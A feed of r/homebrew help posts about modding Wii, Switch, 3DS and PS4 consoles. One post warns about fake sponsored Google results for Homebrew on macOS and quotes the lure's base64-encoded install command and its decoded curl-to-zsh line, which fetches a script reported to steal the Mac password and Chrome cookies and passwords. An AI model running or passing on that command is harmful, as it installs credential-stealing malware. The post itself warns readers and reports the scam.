r/homebrew • • 7d ago

Question/Help How would I know if there's a game on this development console? RVT-005

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633 Upvotes

Just need help to see if there's any sort of data on this console. I'm not sure how it works or if there's a way to dump whatever is on here.

r/homebrew • • Aug 16 '26

Question/Help Wii crashing with trying to use 2TB HDD

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35 Upvotes

I’m trying to use this 2tb HDD that I bought the other day. I formatted it to fat32 and I’m pretty sure I converted it into MBR too. I bought a Y cable for it and I have the main USB plugged into the right USB port of my Wii and the other one plugged into a USB power brick that is 60w. Whenever I try to load any game off my HDD with almost any app (with the exception of Nintendont) it either crashes or shows me this really glitchy square. Here is the screen for when it crashes, and if anybody wants a picture of the other way it crashes, please ask. I spent about 100 dollars on this HDD and any help would be VERY appreciated! You can reach out to me in DMs or on here if you’re willing to try to help me out. Please I’m begging, it took me a very long time to set up and receive this HDD and I saved up a lot of money for it. Thank you so much for your time.

r/homebrew • • Aug 27 '26

Question/Help [Nintendo Switch] Will it eventually be as easy to mod a Switch 1, espeicually Patched Switch 1s, as easy as it is to mod a 3DS?

28 Upvotes

I mean, technology advances, changes, and people get better at coding, so it's possible, right?

r/homebrew • • Jun 02 '26

Question/Help Is there a way to optimize minecraft for the switch using mods?

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So, I'm sure if you've played minecraft on the switch you'd know just how TERRIBLE it is. I will be including a video below to serve as an example for those who don't know. I was wondering if there's a way to modify the game to no longer deal with the bugs that've basically made it completely unplayable. Idc if I have to somehow undo the recent update and redownload the old switch version or literally tear my switch open- as long as I can play on my worlds without any of the bull that I've been dealing with I'll be good. If nothing's possible I think I might jst run an emulator. If it's the only way and you have suggestions for that lmk.

r/homebrew • • Jun 19 '25

Question/Help Can someone explain this? Not sure if it's real or not

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121 Upvotes

It looks to be someone missing the switch 2 but i wanted to see if it was a real video or not as didn't it just come out like 2 weeks ago 💀

r/homebrew • • Jun 08 '26

Question/Help Would this sd be good for a switch or 3ds?

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0 Upvotes

Text is in dutch but its 75 mbps and 1tb, ive never heard of the brand before so idk if i can trust it

r/homebrew • • Aug 08 '26

Question/Help My Wii is super sped up, can anyone find a solution?

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68 Upvotes

I've posted this on other subreddits without much help unfortunately, but recently when I booted up my wii, it was running extremely fast as if it's overclocked or something. I have no idea how this happened or what I could've done for it to behave like this, but I can't seem to find anyone else who has had a similar issue to this. If anyone is able to help me, please let me know right away by either commenting or dm'ing me as I really want this solved as soon as possible. The Wii is one of my all time favourite things in my room and I don't want to lose anything that I already have

r/homebrew • • Aug 31 '26

Question/Help plausible theory but what y’all say?

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82 Upvotes

r/homebrew • • 19d ago

Question/Help What other consoles beside the ps3 can i get

0 Upvotes

I have the ps2 slim which i could mod but then there is the price of extra stuff like a fmcb card and a new shell with an hdmi converter so im opting to try a ps3, but im not sure if i should buy it. So my question is, are there any better consoles i could get to mod, or is the ps3 my best option considering i never did any hard mods etc. Thank you in advance

r/homebrew • • Aug 18 '26

Question/Help Folder glitch Wii

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17 Upvotes

Every time that I try to import a folder that isn’t an emulator onto the SD Card I use for my Wii’s home brew menu it ends up doing this and the files become useless does anyone know what it is or how to fix it?

r/homebrew • • Aug 24 '26

Question/Help Switch Oled FAT 32 Error. HELP ME PLEASE

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1 Upvotes

I can't syswipe due to this. Shows error even in lockpick even tho sd is already formatted to Fat 32. OFW boots normally tho. Please help me, I appreciate any reply. 😭🙏

r/homebrew • • Aug 20 '26

Question/Help Google search result for homebrew - what is that?

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I wanted to install homebrew on a fresh MacOs installation. I simply searched for "homebrew" in the google and the first result (sponsored one) redirected me to the page "allbeachtravel.com" that looks very similar to the original homebrew site.
After that I searched for "homebrew install" and I was redirected to "storageprofiler.com" and it also looks very similar to the previous one.

DO NOT RUN THIS CODE !!!

In both there is a command you can "probably install" homebrew like this:
"echo 'ZXhwb3J0IF9jYWNoZV9peD0zMmFmYmFhZCBTVEFHRV90cz1vbjtjdXJsIC1mc1MgImh0dHBzOi8vdm95YWdlNzAuY29tL2N1cmwvYXJ0Z2hudGtuL21hYy5zaCJ8IHpzaA==' |base64 -D| zsh"

the base64 encoded string is:
export _cache_ix=32afbaad STAGE_ts=on;curl -fsS "https://voyage70.com/curl/artghntkn/mac.sh"| zsh

What the heck is even that?

Any ideas?

Edit:

As Inevitable-Yam6960 mentioned:

If you run the script above and enter your Mac administrator password, it compresses that password along with all the cookies and saved passwords from your Chrome browser and sends them somewhere.

r/homebrew • • Aug 30 '26

Question/Help What to expect? [3DS]

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So I'm thinking about finally jailbreaking my 3DS, as i had to get a new one after the shop shutdown after losing my old one and not having access to any of my games or DLC any more. When I do, and i install the apps on the guide, will I just... have access to an installer on my 3DS? Or some form of the shop as it was?

r/homebrew • • 24d ago

Question/Help Is this everything needed to mod a wii and 2dsxl? I have the tools

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r/homebrew • • Jun 23 '26

Question/Help SteamOS on Nintendo switch

3 Upvotes

Hey guys. Ich dont really know if this is the right subreddit to post this, but i just hope it is.
I recently heard that steamOS is now available to the public, and you can put it on any device that has amd graphics. Let’s say, theoretically, they get steamos to work on nvidia graphic. Wouldn’t that mean that we could (with a lot of time and work) put steamos on the switch?
If you know anything about this, or have any thoughts, please tell them. I really want to know if it would be possible.

r/homebrew • • Jun 16 '26

Question/Help Im attempting to do str2hax on my Wii, how do I stop it from adding 0’s to the DNS?

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13 Upvotes

I typed it in without the zeros but when I exited the menu it added them, i believe this is why the hack isn’t working on my Wii but if I get rid of the zeros it will just add them back.

r/homebrew • • 13d ago

Question/Help I'm considering buying a Ps4 for homebrewing, but I have a few questions first—like whether it can run Linux and certain indie games, especially Stardew Valley with mods like Ridgeside Village or SVE.

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I was wondering if a goldhen ps4 is cable of running Linux would be able to run some indie games, and maybe Stardew Valley with mods.

r/homebrew • • 7d ago

Question/Help How do I get my 128 GB SD card to be read on my Wii

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I have a sandisk 128 gb sdxc card and the Wii won't read it anymore. The Wii itself says Nothing inserted and my homebrew apps don't show up. When I first used it I had to reformat it again with Rufus and then everything worked, but after transferring my roms it stopped working again. This time reformatting it doesn't help and I've been reformatting it to FAT32 with MBR and 32 KB cluster size.
I've tested without any files or folders, but the Wii itself still doesn't read it and the Wii can read my 16 GB SDHC card

r/homebrew • • Jul 27 '26

Question/Help Genuine question - what do homebrew developers do outside of making homebrew?

12 Upvotes

Like I myself love making homebrew games, BUT i know for a fact it will stay a hobby and not a real job since making open source projects doesn't pay. I started since I was 16-ish and now I'm 18 and still studying so i'm not worrying about my job right now. So what is the "real" job that homebrew developers survive with? If you're a homebrew developer, i'm genuinely curious to know :D

r/homebrew • • 7d ago

Question/Help USB Loader GX keeps crashing back to Homebrew Channel when I try to boot a game

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What it says in the title. I have a freshly modded system running the latest build of Homebrew Channel and the latest version of USB Loader GX available on Open Shop. I've checked the names of the game files and folders and they are correct, I tried forcing the video mode to NTSC and still nothing, I tried changing the loader ios from 249 to 250 then back to 249 each time with the same result, the hard drive I'm using has been formatted to Fat32 with cluster size of 32kb and is plugged into the outermost port of the Wii. What am I missing that could be causing this?

r/homebrew • • 19d ago

Question/Help Nintendo 64 or PS1, which console is better for a noob?

11 Upvotes

Hello everyone.

I'm considering making a homebrew videogame as my Bachelor's Thesis. I'm in a Computer Engineering degree so I have experience reading technical documentation and coding in low-level languages like C or assembly, but I have no previous experience doing this. My question is: Among Nintendo 64 or PS1, which console is more accesible developing for? Not only which system has a easier architecture, but also which one has the most tools, libraries, and documentation.

Of course, if any of you have any suggestions or other system's propositions given my profile, I'd be glad to hear them.

r/homebrew • • Aug 10 '26

Question/Help How's the emulation situation on the Nintendo Switch?

7 Upvotes

Hey everyone, I'd like to know how the 3DS emulation is going on the Nintendo Switch. Is it possible to play games like Pokémon or Zelda at 30fps without lag?

I've noticed some people are using an emulator within the Android emulator, others are using RetroArch—there are many options. I'd like to know which is the best currently.

r/homebrew • • 6d ago

Question/Help USB Loader GX freezing at Reinitializing Devices

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I’m starting to think modding the Wii isn’t worth it.

I currently have an issue where USB Loader GX is freezing at Reinitializing Devices. Every troubleshooting I’ve seen for this issue online says that the Hard Drive I’m using isn’t compatible, but that’s not it because it was working before I installed the cios. I have cios 58 so that’s not the problem, my hard drive was working literally yesterday and I just checked the files on the computer and they’re still fine so that’s not the problem either. What the hell am I doing wrong?!?

r/homebrew • • 7d ago

Question/Help Dose anyone here know if I'm able to get the Riivolution app on my WiiU's virtual Wii menu or not? I really wanna play Newer super Mario bros Wii but I have a Wii U instead of a Wii..

0 Upvotes

r/homebrew • • 25d ago

Question/Help I am making a Vermis homebrew for the Nintendo Entertainment System!

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I had been posting this on the r/Vermis subreddit, but due to harrassment i decided to quit that one. Anyway, i have come here to tell you all that we need pixel artists and programmers that know how to code on Nesfab, it's a fangame, so it's just a passion project, no money involved (unless Hollow Press tries to canonize the project), also help with MapFab is needed, if you want to join the project, go on our discord! Here is the link, but be warned we are trying to keep our team small at the moment, https://discord.gg/3xg9WQg7W